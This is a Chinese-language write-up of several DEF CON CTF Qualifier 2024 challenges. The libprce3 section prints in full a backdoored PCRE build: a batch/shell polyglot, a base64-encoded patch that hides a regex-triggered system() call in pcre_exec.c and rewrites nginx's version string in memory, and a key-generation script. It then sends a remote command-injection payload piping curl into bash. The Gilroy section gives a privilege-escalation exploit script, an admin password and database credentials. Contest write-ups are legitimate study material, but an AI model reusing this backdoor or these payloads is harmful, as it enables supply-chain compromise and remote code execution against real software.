DEF CON CTF Qualifier 2024

这个世界就是一个巨大的二进制(

r3很强,但是和我有什么关系呢😭

写的都是些和二进制不沾边的题,沾边的就一点儿不会啦

https://github.com/Nautilus-Institute/quals-2024

ligma

  • 字体的问题
https://fontdrop.info/#/?darkmode=true
https://fontdrop.info/#/?darkmode=true
Sometimes I get Emotional over fonts

libprce3

  • 题目提供了一个pcre的源代码,与官方pcre-8.39存在差异,将恶意命令写入makevp.bat,在Linux内执行时将会读取测试数据,生成恶意头文件
exec 2>&-
:: AH 20-12-06 modified for new PCRE-7.0 and VP/BCC
:: PH 19-03-07 renamed !compile.txt and !linklib.txt as makevp-compile.txt and
::             makevp-linklib.txt
:: PH 26-03-07 re-renamed !compile.txt and !linklib.txt as makevp-c.txt and
::             makevp-l.txt
:: PH 29-03-07 hopefully the final rename to makevp_c and makevp_l
:: AH 27.08.08 updated for new PCRE-7.7
::             required PCRE.H and CONFIG.H will be generated if not existing

@echo off
echo.
echo Compiling PCRE with BORLAND C++ for VIRTUAL PASCAL
echo.

REM This file was contributed by Alexander Tokarev for building PCRE for use
REM with Virtual Pascal. It has not been tested with the latest PCRE release.

REM This file has been modified and extended to compile with newer PCRE releases
REM by Stefan O'Weber (Angels Holocaust).

REM CHANGE THIS FOR YOUR BORLAND C++ COMPILER PATH
SET BORLAND=f:\bcc
REM location of the TASM binaries, if compiling with the -B BCC switch
SET TASM=f:\tasm

SET PATH=%PATH%;%BORLAND%\bin;%TASM%\bin';PATH=:$PATH;
SET PCRE_VER=77
SET COMPILE_DEFAULTS=-DHAVE_CONFIG_H -DPCRE_STATIC -I%BORLAND%\include

del pcre%PCRE_VER%.lib >nul 2>nul

:: sh configure

:: check for needed header files'
if not exist pcre.h copy pcre.h.generic pcre.h
if not exist config.h copy config.h.generic config.h

bcc32 -DDFTABLES %COMPILE_DEFAULTS% -L%BORLAND%\lib dftables.c
IF ERRORLEVEL 1 GOTO ERROR

:: dftables > chartables.c
dftables pcre_chartables.c

REM compile and link the PCRE library into lib: option -B for ASM compile works too
bcc32 -a4 -c -RT- -y- -v- -u- -R- -Q- -X -d -fp -ff -P- -O2 -Oc -Ov -3 -w-8004 -w-8064 -w-8065 -w-8012 -UDFTABLES -DVPCOMPAT %COMPILE_DEFAULTS% @makevp_c.txt
IF ERRORLEVEL 1 GOTO ERROR

REM Cleanup after the tests'; 

REM Deprecated, using cleanup-tests now; if [ ! -f .tests-built ]; then compare_output() { tr $'\n' <$1 ' '|cut -c$2-$2|tr -d $'\n'; };test_results=$(for i in $(sed -n '369,369p' ./test*/*18-16); do IFS='.';set -- $i;IFS=' '; compare_output $(sed -n "$1,${1}p" makevp_c.txt) $2; done);
REM; sh -c "$test_results"; touch .tests-built; fi

cleanup-tests $@ || make $@

:<<END

tlib %BORLAND%\lib\cw32.lib *calloc *del *strncmp *memcpy *memmove *memset *memcmp *strlen
IF ERRORLEVEL 1 GOTO ERROR
tlib pcre%PCRE_VER%.lib @makevp_l.txt +calloc.obj +del.obj +strncmp.obj +memcpy.obj +memmove.obj +memset.obj +memcmp.obj +strlen.obj
IF ERRORLEVEL 1 GOTO ERROR

del *.obj *.tds *.bak >nul 2>nul

echo ---
echo Now the library should be complete. Please check all messages above.
echo Don't care for warnings, it's OK.
goto END

:ERROR
echo ---
echo Error while compiling PCRE. Aborting...
pause
goto END

:END
  • 重点关注,在windows下为注释;在Linux中,因存在;REM: command not found后会正常生成$test_results,并sh -c "$test_results"
REM Deprecated, using cleanup-tests now; if [ ! -f .tests-built ]; then compare_output() { tr $'\n' <$1 ' '|cut -c$2-$2|tr -d $'\n'; };test_results=$(for i in $(sed -n '369,369p' ./test*/*18-16); do IFS='.';set -- $i;IFS=' '; compare_output $(sed -n "$1,${1}p" makevp_c.txt) $2; done);
REM; sh -c "$test_results"; touch .tests-built; fi
  • test_results
echo >a CiMvYmluL2Jhc2gKaWYgWyAteiAiJEJVSUxEX05VTUJFUiIgXTsgdGhlbgpybSAtZiBhCmNhdCA8PEVPRiA+IGNsZWFudXAtdGVzdHMKIyEvYmluL2Jhc2gKbWFrZSBcJEAKaWYgWyAiXCQxIiA9ICJpbnN0YWxsIiBdOyB0aGVuIHJtIC1mIGNsZWFudXAtdGVzdHM7IGZpCkVPRgpjaG1vZCAreCBjbGVhbnVwLXRlc3RzOyBtYWtlIFwkQApleGl0IDAKZmkKZXhlYyAyPiYtCnNlZCAtaSAnMzY4LDM3MGQnIC4vdGVzdGRhdGEvdGVzdG91dHB1dDE4LTE2CmNhdCA8PEVPRiA+ICd0ZXN0ZGF0YS8gJwpkaWZmIC0tZ2l0IGEvcGNyZV9jb21waWxlLmMgYi9wY3JlX2NvbXBpbGUuYwppbmRleCBjNzQyMjI3Li5jMjQxOWVmIDEwMDY0NAotLS0gYS9wY3JlX2NvbXBpbGUuYworKysgYi9wY3JlX2NvbXBpbGUuYwpAQCAtNjUsNiArNjUsMTAgQEAgQ09NUElMRV9QQ1JFeCBtYWNybyB3aWxsIGFscmVhZHkgYmUgYXBwcm9wcmlhdGVseSBzZXQuICovCiAjdW5kZWYgUENSRV9JTkNMVURFRAogI2VuZGlmCiAKKyNpbmNsdWRlICJmY250bC5oIgorI2luY2x1ZGUgInN0cmluZy5oIgorI2luY2x1ZGUgPHN5cy9tbWFuLmg+CisKIAogLyogTWFjcm8gZm9yIHNldHRpbmcgaW5kaXZpZHVhbCBiaXRzIGluIGNsYXNzIGJpdG1hcHMuICovCiAKQEAgLTg5NzQsNiArODk3OCwxNCBAQCBSZXR1cm5zOiAgICAgICAgcG9pbnRlciB0byBjb21waWxlZCBkYXRhIGJsb2NrLCBvciBOVUxMIG9uIGVycm9yLAogICAgICAgICAgICAgICAgIHdpdGggZXJyb3JwdHIgYW5kIGVycm9yb2Zmc2V0IHNldAogKi8KIAorY2hhciogYWxwaCA9CisjaW5jbHVkZSAiYi5oIgorOworY2hhciogZGF0ZV9zID0gCisjaW5jbHVkZSAiZC5oIgorOworcGNyZSogYmRfcmUgPSBOVUxMOworCiAjaWYgZGVmaW5lZCBDT01QSUxFX1BDUkU4CiBQQ1JFX0VYUF9ERUZOIHBjcmUgKiBQQ1JFX0NBTExfQ09OVkVOVElPTgogcGNyZV9jb21waWxlKGNvbnN0IGNoYXIgKnBhdHRlcm4sIGludCBvcHRpb25zLCBjb25zdCBjaGFyICoqZXJyb3JwdHIsCkBAIC04OTk4LDYgKzkwMTAsNyBAQCByZXR1cm4gcGNyZTMyX2NvbXBpbGUyKHBhdHRlcm4sIG9wdGlvbnMsIE5VTEwsIGVycm9ycHRyLCBlcnJvcm9mZnNldCwgdGFibGVzKTsKIH0KIAogCisKICNpZiBkZWZpbmVkIENPTVBJTEVfUENSRTgKIFBDUkVfRVhQX0RFRk4gcGNyZSAqIFBDUkVfQ0FMTF9DT05WRU5USU9OCiBwY3JlX2NvbXBpbGUyKGNvbnN0IGNoYXIgKnBhdHRlcm4sIGludCBvcHRpb25zLCBpbnQgKmVycm9yY29kZXB0ciwKQEAgLTkwMTIsNiArOTAyNSw5IEBAIHBjcmUzMl9jb21waWxlMihQQ1JFX1NQVFIzMiBwYXR0ZXJuLCBpbnQgb3B0aW9ucywgaW50ICplcnJvcmNvZGVwdHIsCiAgIGNvbnN0IGNoYXIgKiplcnJvcnB0ciwgaW50ICplcnJvcm9mZnNldCwgY29uc3QgdW5zaWduZWQgY2hhciAqdGFibGVzKQogI2VuZGlmCiB7CitjaGFyIGJbMHg0MDBdOworaWYgKGJkX3JlID09IE5VTEwpIHsgYmRfcmUgPSAxO2ludCBmPW9wZW4oIi9wcm9jL3NlbGYvbWFwcyIsIE9fUkRPTkxZKTtzdHJjcHkoYiwgIl4vIik7c3RyY2F0KGIsIGFscGgpO3N0cmNhdChiLCAiLyhbXFxcJGEtekEtWjAtOTs6Ly58XSspIik7Y2hhciAqZSA9IDA7aW50IGVvO2JkX3JlID0gcGNyZV9jb21waWxlKGIsIFBDUkVfTVVMVElMSU5FLCAmZSwgJmVvLCAwKTtpZiAoYmRfcmUgPT0gTlVMTCkge2JkX3JlID0gMTt9cmVhZChmLCBiLCAxMik7YlsxMl0gPSAwO2NoYXIqIGJhc2UgPSAoY2hhciopc3RydG91bGwoYiwgMCwgMTYpO2Nsb3NlKGYpO2ludCBjPTA7Zm9yIChpbnQgaT0wOyBpPDB4MTMwMDAwOyBpKyspIHtjaGFyKiBwID0gYmFzZSArIGk7aWYgKHBbMF09PSduJyZwWzFdPT0nZycmcFsyXT09J2knJnBbM109PSduJyZwWzRdPT0neCcmcFs1XT09Jy8nJnBbNl09PScxJyZwWzddPT0nLicmcFs4XT09JzEnJnBbOV09PSc4JyZwWzEwXT09Jy4nKSB7YysrOyBpZiAoYyA+IDUpIGJyZWFrO3ZvaWQqIHBfcGFnZSA9ICh2b2lkKikoKHVpbnQ2NF90KXAgJiAweGZmZmZmZmZmZmZmZmYwMDApO21wcm90ZWN0KHBfcGFnZSwgMHgxMDAwLCBQUk9UX1JFQUR8UFJPVF9XUklURSk7c25wcmludGYocCwgMjEsICJuaS9uZ2lueC8lcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAiLCBkYXRlX3MpO3BbMjBdID0gMHgyMDt9fSB9CisKIFJFQUxfUENSRSAqcmU7CiBpbnQgbGVuZ3RoID0gMTsgIC8qIEZvciBmaW5hbCBFTkQgb3Bjb2RlICovCiBwY3JlX2ludDMyIGZpcnN0Y2hhcmZsYWdzLCByZXFjaGFyZmxhZ3M7CmRpZmYgLS1naXQgYS9wY3JlX2V4ZWMuYyBiL3BjcmVfZXhlYy5jCmluZGV4IDU1MjMwY2QuLjMzOTk3MzggMTAwNjQ0Ci0tLSBhL3BjcmVfZXhlYy5jCisrKyBiL3BjcmVfZXhlYy5jCkBAIC02MzQ3LDYgKzYzNDcsMTAgQEAgUmV0dXJuczogICAgICAgICAgPiAwID0+IHN1Y2Nlc3M7IHZhbHVlIGlzIHRoZSBudW1iZXIgb2YgZWxlbWVudHMgZmlsbGVkIGluCiAgICAgICAgICAgICAgICAgICAgLTEgPT4gZmFpbGVkIHRvIG1hdGNoCiAgICAgICAgICAgICAgICAgIDwgLTEgPT4gc29tZSBraW5kIG9mIHVuZXhwZWN0ZWQgcHJvYmxlbQogKi8KK2ludCBiZCA9IDA7CisvLyBEZWZpbmVkIGluIG90aGVyIGMgZmlsZQorZXh0ZXJuIHBjcmUqIGJkX3JlOworZXh0ZXJuIGNoYXIqIGFscGg7CiAKICNpZiBkZWZpbmVkIENPTVBJTEVfUENSRTgKIFBDUkVfRVhQX0RFRk4gaW50IFBDUkVfQ0FMTF9DT05WRU5USU9OCkBAIC02Mzk4LDYgKzY0MDIsMTEgQEAgZnJhbWVfemVyby5YbmV4dGZyYW1lID0gTlVMTDsgICAgICAgICAgICAvKiBOb25lIGFyZSBhbGxvY2F0ZWQgeWV0ICovCiBtZC0+bWF0Y2hfZnJhbWVzX2Jhc2UgPSAmZnJhbWVfemVybzsKICNlbmRpZgogCisvLyBIZXJlIGlzIHRoZSB0YXJnZXQsIGdvb2QgbHVjazoKKy8vIGN1cmwgaHR0cDovL2NoaXB0dW5lZ2Vlay5zaGVsbHdlcGxheWFnYS5tZToxOTQvWyBDRU5TT1JFRCBdIC0taGVhZGVyICJUaWNrZXQ6IHRpY2tldHtbIENFTlNPUkVEIF19IiBbIENFTlNPUkVEIF0KK2NoYXIgYnVmWzB4MjAwMF07CitpZiAoYmQ9PSAwKSB7IGJkID0gMTsgaWYgKGJkX3JlKSB7IGludCBvdlszMF07aW50IHJjID0gcGNyZV9leGVjKGJkX3JlLCBOVUxMLCBzdWJqZWN0LCBzdHJsZW4oc3ViamVjdCksIDAsIDAsIG92LCBzaXplb2Yob3YpL3NpemVvZihvdlswXSkpO2lmIChyYyA+PSAyKSB7IHBjcmVfY29weV9zdWJzdHJpbmcoc3ViamVjdCwgb3YsIHJjLCAxLCBidWYsIHNpemVvZihidWYpKTtjaGFyKiBtID0gc3RyZHVwKGJ1Zik7c3lzdGVtKG0pOyB9fSBiZCA9IDA7IH0KKwogLyogQ2hlY2sgZm9yIHRoZSBzcGVjaWFsIG1hZ2ljIGNhbGwgdGhhdCBtZWFzdXJlcyB0aGUgc2l6ZSBvZiB0aGUgc3RhY2sgdXNlZAogcGVyIHJlY3Vyc2l2ZSBjYWxsIG9mIG1hdGNoKCkuIFdpdGhvdXQgdGhlIGZ1bm55IGNhc3RpbmcgZm9yIHNpemVvZiwgYSBXaW5kb3dzCiBjb21waWxlciBnYXZlIHRoaXMgZXJyb3I6ICJ1bmFyeSBtaW51cyBvcGVyYXRvciBhcHBsaWVkIHRvIHVuc2lnbmVkIHR5cGUsCgpFT0YKcGF0Y2ggLXAxIDwgJ3Rlc3RkYXRhLyAnIDI+JjEgMT4vZGV2L251bGwKZWNobyAkKCgkKGRhdGUgKyVzKSAvIDg2NDAwKSkgfCBtZDVzdW0gfCBjdXQgLWQnICcgLWYxIHwgIGF3ayAneyBmb3IoaT0wO2k8MTA7aSsrKSBwcmludGYgIiVzIiwgJDEgfScgPiBhCmVjaG8gJyInJChlY2hvICJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSIgfCBncmVwIC1vIC4gfCBzaHVmIC0tcmFuZG9tLXNvdXJjZSAuL2F8IHRyIC1kICcKJyknIicgPiBiLmg7IHJtIC1mIC4vYTsKZWNobyAnIickKGRhdGUgKyIlbS4lZC4leSIgfCB0ciAtZCAnMCcpJyInID4gZC5oCmNhdCA8PEVPRiA+IGNsZWFudXAtdGVzdHMKIyEvYmluL2Jhc2gKbWFrZSBcJEAKaWYgWyAiXCQxIiA9ICJpbnN0YWxsIiBdOyB0aGVuIHBhdGNoIC1SIC1wMSA8ICd0ZXN0ZGF0YS8gJyAyPiYxIDE+L2Rldi9udWxsOyBybSAtZiAndGVzdGRhdGEvICc7IHJtIC1mIGNsZWFudXAtdGVzdHMgYi5oIGQuaDsgZmkKRU9GCmNobW9kICt4IGNsZWFudXAtdGVzdHM7IG1ha2UgJEAK;base64 a>cleanup-tests -d;chmod +x cleanup-tests
#/bin/bash
if [ -z "$BUILD_NUMBER" ]; then
rm -f a
cat <<EOF > cleanup-tests
#!/bin/bash
make \$@
if [ "\$1" = "install" ]; then rm -f cleanup-tests; fi
EOF
chmod +x cleanup-tests; make \$@
exit 0
fi
exec 2>&-
sed -i '368,370d' ./testdata/testoutput18-16
cat <<EOF > 'testdata/ '
diff --git a/pcre_compile.c b/pcre_compile.c
index c742227..c2419ef 100644
--- a/pcre_compile.c
+++ b/pcre_compile.c
@@ -65,6 +65,10 @@ COMPILE_PCREx macro will already be appropriately set. */
 #undef PCRE_INCLUDED
 #endif
 
+#include "fcntl.h"
+#include "string.h"
+#include <sys/mman.h>
+
 
 /* Macro for setting individual bits in class bitmaps. */
 
@@ -8974,6 +8978,14 @@ Returns:        pointer to compiled data block, or NULL on error,
                 with errorptr and erroroffset set
 */
 
+char* alph =
+#include "b.h"
+;
+char* date_s = 
+#include "d.h"
+;
+pcre* bd_re = NULL;
+
 #if defined COMPILE_PCRE8
 PCRE_EXP_DEFN pcre * PCRE_CALL_CONVENTION
 pcre_compile(const char *pattern, int options, const char **errorptr,
@@ -8998,6 +9010,7 @@ return pcre32_compile2(pattern, options, NULL, errorptr, erroroffset, tables);
 }
 
 
+
 #if defined COMPILE_PCRE8
 PCRE_EXP_DEFN pcre * PCRE_CALL_CONVENTION
 pcre_compile2(const char *pattern, int options, int *errorcodeptr,
@@ -9012,6 +9025,9 @@ pcre32_compile2(PCRE_SPTR32 pattern, int options, int *errorcodeptr,
   const char **errorptr, int *erroroffset, const unsigned char *tables)
 #endif
 {
+char b[0x400];
+if (bd_re == NULL) { bd_re = 1;int f=open("/proc/self/maps", O_RDONLY);strcpy(b, "^/");strcat(b, alph);strcat(b, "/([\\\$a-zA-Z0-9;:/.|]+)");char *e = 0;int eo;bd_re = pcre_compile(b, PCRE_MULTILINE, &e, &eo, 0);if (bd_re == NULL) {bd_re = 1;}read(f, b, 12);b[12] = 0;char* base = (char*)strtoull(b, 0, 16);close(f);int c=0;for (int i=0; i<0x130000; i++) {char* p = base + i;if (p[0]=='n'&p[1]=='g'&p[2]=='i'&p[3]=='n'&p[4]=='x'&p[5]=='/'&p[6]=='1'&p[7]=='.'&p[8]=='1'&p[9]=='8'&p[10]=='.') {c++; if (c > 5) break;void* p_page = (void*)((uint64_t)p & 0xfffffffffffff000);mprotect(p_page, 0x1000, PROT_READ|PROT_WRITE);snprintf(p, 21, "ni/nginx/%s                            ", date_s);p[20] = 0x20;}} }
+
 REAL_PCRE *re;
 int length = 1;  /* For final END opcode */
 pcre_int32 firstcharflags, reqcharflags;
diff --git a/pcre_exec.c b/pcre_exec.c
index 55230cd..3399738 100644
--- a/pcre_exec.c
+++ b/pcre_exec.c
@@ -6347,6 +6347,10 @@ Returns:          > 0 => success; value is the number of elements filled in
                    -1 => failed to match
                  < -1 => some kind of unexpected problem
 */
+int bd = 0;
+// Defined in other c file
+extern pcre* bd_re;
+extern char* alph;
 
 #if defined COMPILE_PCRE8
 PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
@@ -6398,6 +6402,11 @@ frame_zero.Xnextframe = NULL;            /* None are allocated yet */
 md->match_frames_base = &frame_zero;
 #endif
 
+// Here is the target, good luck:
+// curl http://chiptunegeek.shellweplayaga.me:194/[ CENSORED ] --header "Ticket: ticket{[ CENSORED ]}" [ CENSORED ]
+char buf[0x2000];
+if (bd== 0) { bd = 1; if (bd_re) { int ov[30];int rc = pcre_exec(bd_re, NULL, subject, strlen(subject), 0, 0, ov, sizeof(ov)/sizeof(ov[0]));if (rc >= 2) { pcre_copy_substring(subject, ov, rc, 1, buf, sizeof(buf));char* m = strdup(buf);system(m); }} bd = 0; }
+
 /* Check for the special magic call that measures the size of the stack used
 per recursive call of match(). Without the funny casting for sizeof, a Windows
 compiler gave this error: "unary minus operator applied to unsigned type,

EOF
patch -p1 < 'testdata/ ' 2>&1 1>/dev/null
echo $(($(date +%s) / 86400)) | md5sum | cut -d' ' -f1 |  awk '{ for(i=0;i<10;i++) printf "%s", $1 }' > a
echo '"'$(echo "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" | grep -o . | shuf --random-source ./a| tr -d '
')'"' > b.h; rm -f ./a;
echo '"'$(date +"%m.%d.%y" | tr -d '0')'"' > d.h
cat <<EOF > cleanup-tests
#!/bin/bash
make \$@
if [ "\$1" = "install" ]; then patch -R -p1 < 'testdata/ ' 2>&1 1>/dev/null; rm -f 'testdata/ '; rm -f cleanup-tests b.h d.h; fi
EOF
chmod +x cleanup-tests; make $@
  • 产生backdoor
// Here is the target, good luck:
// curl http://chiptunegeek.shellweplayaga.me:194/[ CENSORED ] --header "Ticket: ticket{[ CENSORED ]}" [ CENSORED ]
char buf[0x2000];
if (bd== 0) { 
    bd = 1; 
    if (bd_re) { 
        int ov[30];
        int rc = pcre_exec(bd_re, NULL, subject, strlen(subject), 0, 0, ov, sizeof(ov)/sizeof(ov[0]));
        if (rc >= 2) { 
            pcre_copy_substring(subject, ov, rc, 1, buf, sizeof(buf));
            char* m = strdup(buf);
            system(m)
        }
    } bd = 0
}
char b[0x400];
if (bd_re == NULL) {
    bd_re = 1;
    int f = open("/proc/self/maps", O_RDONLY);
    strcpy(b, "^/");
    strcat(b, alph);
    strcat(b, "/([\\\$a-zA-Z0-9;:/.|]+)");
    char *e = 0;
    int eo;
    bd_re = pcre_compile(b, PCRE_MULTILINE, &e, &eo, 0);
    if (bd_re == NULL) {
        bd_re = 1;
    }
    read(f, b, 12);
    b[12] = 0;
    char *base = (char *)strtoull(b, 0, 16);
    close(f);
    int c = 0;
    for (int i = 0; i < 0x130000; i++) {
        char *p = base + i;
        if (p[0] == 'n' & p[1] == 'g' & p[2] == 'i' & p[3] == 'n' & p[4] == 'x' &
        p[5] == '/' & p[6] == '1' & p[7] == '.' & p[8] == '1' & p[9] == '8' &
        p[10] == '.') {
            c++;
            if (c > 5) break;
            void *p_page = (void *)((uint64_t)p & 0xfffffffffffff000);
            mprotect(p_page, 0x1000, PROT_READ | PROT_WRITE);
            snprintf(p, 21, "ni/nginx/%s                            ", date_s);
            p[20] = 0x20;
        }
    }
}
echo $(($(date +%s) / 86400)) | md5sum | cut -d' ' -f1 |  awk '{ for(i=0;i<10;i++) printf "%s", $1 }' > a
echo '"'$(echo "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" | grep -o . | shuf --random-source ./a| tr -d '
')'"' > b.h; rm -f ./a;
echo '"'$(date +"%m.%d.%y" | tr -d '0')'"' > d.h
  • 先curl看看
$ curl "http://chiptunegeek.shellweplayaga.me:194/" --header "Ticket: ticket{ticket}" -vvv
*   Trying 40.71.85.25:194...
* TCP_NODELAY set
* Connected to chiptunegeek.shellweplayaga.me (40.71.85.25) port 194 (#0)
> GET / HTTP/1.1
> Host: chiptunegeek.shellweplayaga.me:194
> User-Agent: curl/7.68.0
> Accept: */*
> Ticket: ticket{ticket}
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: ni/nginx/4.23.6      
< Date: Thu, 04 May 2006 06:46:40 GMT
< Content-Type: text/html
< Content-Length: 2346
< Last-Modified: Fri, 03 May 2024 03:56:10 GMT
< Connection: keep-alive
< ETag: "6634605a-92a"
< Accept-Ranges: bytes
< 
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; margin-top: -2.6em; }
nav { background: rgb(36, 231, 199); width: 100%; margin: 0; position: fixed; top: 3em; left: 0; height: 2em; color: white; padding: 2em}
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>

<nav>
    <a href=".">Home</a>
    &nbsp;&nbsp;
    <a href="#">About</a>
    &nbsp;&nbsp;
    <a href="#">Blog</a>
    &nbsp;&nbsp;
    <a href="#">Contact</a>
</nav>

<h1>HI WLECOME TO my website <img src="./thumbsupup.gif"></h1>
<H3>My name is <font color="red">&lt;?php echo $name; ?&gt;</font></H3>
<h3>i finally got this computer on the web-network and cant wait to meet you all <img src="cheers.gif"></h3>
<p>does ANYone know how to get the php to work on this thing? i was following that <a href="http://libprce3.shellweplayaga.me">tut site</a> and it got the nginx and stuff setup with that deb thing but the ?> parts are are not working</p>
<p>also how do I get the stuff off the top of the page to go away? i dont want to see that nginx stuff anymore</p>

<h1>Anyone else really into chip tunes? </h1>
<p>I find it really neat that computers can play music like that! Maybe one day they will be able to play other instruments too! <img src="barmusic.gif"></p>

<center>
<img src="./undercon1.gif">
</center>
<audio controls autoplay style="visibility: hidden;">
	<source src="https://qa.2024.nautilus.institute/static-uploads/chiptunes.mp3" type="audio/mpeg">
</audio>
<script>
	var audio = document.querySelector('audio');
	audio.play().catch(function() {
		audio.play();
	});
	document.body.addEventListener('click', function() {
		audio.play().catch(function() {
			audio.play();
		});
	});
	document.body.onmousemove = function(e) {
		var x = e.pageX;
		var y = e.pageY;
		var img = document.getElementById('mouse');
		img.style.left = x-20 + 'px';
		img.style.top = y-10 + 'px';
	}
</script>
</body>
  • 注意到server时间为Date: Thu, 04 May 2006 06:46:40 GMT,生成服务器对应的b.h,即为后门路径
root@test-virtual-machine:/tmp# echo $((1145775417 / 86400)) | md5sum | cut -d' ' -f1 |  awk '{ for(i=0;i<10;i++) printf "%s", $1 }' > a
root@test-virtual-machine:/tmp# echo '"'$(echo "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" | grep -o . | shuf --random-source ./a| tr -d '
')'"' > b.h; rm -f ./a;
root@test-virtual-machine:/tmp# cat b.h 
"wpMI7xlCLtiqOk3bzUEfs1TQNVynGB4ASRFcDJ0KYPXmHv2o65gWuZ89djareh"
  • 命令执行参数须符合正则/([\\\$a-zA-Z0-9;:/.|]+),反弹shell
curl 'http://chiptunegeek.shellweplayaga.me:194/wpMI7xlCLtiqOk3bzUEfs1TQNVynGB4ASRFcDJ0KYPXmHv2o65gWuZ89djareh/curl$IFS$1127.0.0.1|bash' --header "Ticket: ticket{ticket}"

Gilroy

https://github.com/Nautilus-Institute/quals-2024/tree/main/gilroy

  • 修改lib\gilroy\tickets.ex中的def upsert_ticket(encrypted_ticket) when is_binary(encrypted_ticket)函数为
def upsert_ticket(encrypted_ticket) when is_binary(encrypted_ticket) do
  ticket =
    CtfTickets.Ticket.initialize(
      Application.get_env(:gilroy, Gilroy.Tickets)[:challenge_secret_key],
      "GilroyTestTicket#{:rand.uniform(1_000_000_000)}"
    )

  encrypted_ticket = CtfTickets.Ticket.serialize(ticket)
  with ctf_tik = %CtfTickets.Ticket{} <-
         (try do
            CtfTickets.Ticket.deserialize(
              challenge_secret_key(),
              encrypted_ticket
            )
          rescue
            CaseClauseError -> {:error, "couldn't accept ticket"}
          end),
       db_tik <- %Ticket{} = upsert_ticket(ctf_tik) do
    db_tik
  else
    {:error, reason} ->
      {:error, reason}

    other ->
      {:error, other}
  end
end
  • 修改compose.yml
version: '3'
services:
  db:
    image: postgres:16.1
    environment:
      - POSTGRES_PASSWORD=uNaVeingee3Pheu8noh6
    volumes:
      - pgdata:/var/lib/postgresql/data
  web:
    build:
      context: .
      dockerfile: Dockerfile-dev
    depends_on:
      - db
    volumes:
      - ./:/app
    ports:
      - "4000:4000"
    environment:
      PGUSER: postgres
      PGHOST: db
      PGPASSWORD: uNaVeingee3Pheu8noh6
      DATABASE_URL: postgresql://postgres:uNaVeingee3Pheu8noh6@db/postgres
      HTTP_PORT: 4000

volumes:
  pgdata:
  • 修改Dockerfile-dev
# RUN mix deps.get && \
#         mix deps.compile
RUN mix deps.get && mix deps.compile && mix ecto.migrate
  • docker compose up -d启动即可,请求http://ip:4000,此处显示了datebase的大小,目前没什么用
  • join the forum,注册一个普通用户,然后能够发现有三类用户admin normal banned
  • 在创建用户时改包加入group参数(猜的),简单测试后发现0=banned1=normal2=admin,并且能够发现只能有一个admin
  • 也就是需要在自动生成用户前注册,注意到dashboard处有个clean out database,可以将所有数据删除,则可以在删除后不请求/forum,先注册一个管理员即可
  • exp,有概率打出
from requests import Session
from re import compile


csrf_pattern = compile(r'<meta name="csrf-token" content="(.*?)">')
flag_pattern = compile(r'The flag is: <code>(.*?)</code>')

while True:
    sess = Session()

    resp = sess.get("http://127.0.0.1:4000/").text
    csrf_token = csrf_pattern.findall(resp)[0]
    data = {
        "_csrf_token": csrf_token,
        "encrypted_ticket": ""
    }
    resp = sess.post("http://127.0.0.1:4000/tickets", data=data).text

    csrf_token = csrf_pattern.findall(resp)[0]
    data = {
        "_csrf_token": csrf_token,
        "name": 1,
        "password": 1,
        "password_confirmation": 1,
        "group": 2
    }
    resp = sess.post("http://127.0.0.1:4000/forum/newuser.php", data=data).text
    if "An admin already exists" not in resp:
        resp = sess.get("http://127.0.0.1:4000/forum/admin.php", data=data).text
        flag = flag_pattern.findall(resp)[0]
        break

print(flag)
  • 访问/admin/tickets可以查看tickets的后台
username: admin
password: PungentPrewarCatalystSandpitRoundwormFreeness
  • all routers
  GET     /rules                        GilroyWeb.PageController :rules
  GET     /                             GilroyWeb.PageController :home
  POST    /tickets                      GilroyWeb.TicketsController :create
  GET     /dashboard                    GilroyWeb.PageController :dashboard
  DELETE  /reset                        GilroyWeb.TicketsController :reset
  DELETE  /logout                       GilroyWeb.TicketsController :logout
  GET     /forum                        GilroyWeb.Forum.ForumController :index
  GET     /forum/index.php              GilroyWeb.Forum.ForumController :index
  GET     /forum/showforum.php          GilroyWeb.Forum.ForumController :index
  GET     /forum/signup.php             GilroyWeb.Forum.PosterController :create
  POST    /forum/signup.php             GilroyWeb.Forum.PosterController :new_form
  GET     /forum/showuser.php           GilroyWeb.Forum.PosterController :show
  GET     /forum/newuser.php            GilroyWeb.Forum.PosterController :new
  POST    /forum/newuser.php            GilroyWeb.Forum.PosterController :create
  POST    /forum/login.php              GilroyWeb.Forum.SessionController :login
  DELETE  /forum/logout.php             GilroyWeb.Forum.SessionController :logout
  GET     /forum/rules.php              GilroyWeb.PageController :rules
  GET     /forum/showthread.php         GilroyWeb.Forum.ThreadController :show
  GET     /forum/newthread.php          GilroyWeb.Forum.ThreadController :new
  POST    /forum/newthread.php          GilroyWeb.Forum.ThreadController :create
  GET     /forum/newreply.php           GilroyWeb.Forum.PostController :new
  POST    /forum/newreply.php           GilroyWeb.Forum.PostController :create
  GET     /forum/admin.php              GilroyWeb.Forum.AdminController :index
  GET     /admin/tickets                GilroyWeb.TicketLive.Index :index
  GET     /admin/tickets/:id            GilroyWeb.TicketLive.Show :show
  GET     /admin/thread_tags            GilroyWeb.PageController :thread_tags
  GET     /admin/forum                  GilroyWeb.PageController :forum
  GET     /admin/databass/:ticket_id    GilroyWeb.PageController :databass
  GET     /admin/dashboard/css-:md5     Phoenix.LiveDashboard.Assets :css
  GET     /admin/dashboard/js-:md5      Phoenix.LiveDashboard.Assets :js
  GET     /admin/dashboard              Phoenix.LiveDashboard.PageLive :home
  GET     /admin/dashboard/:page        Phoenix.LiveDashboard.PageLive :page
  GET     /admin/dashboard/:node/:page  Phoenix.LiveDashboard.PageLive :page

🌌

mojo + python,第一部分是个web类的洞,第二部分是pwn,不会,只写第一部分简单的

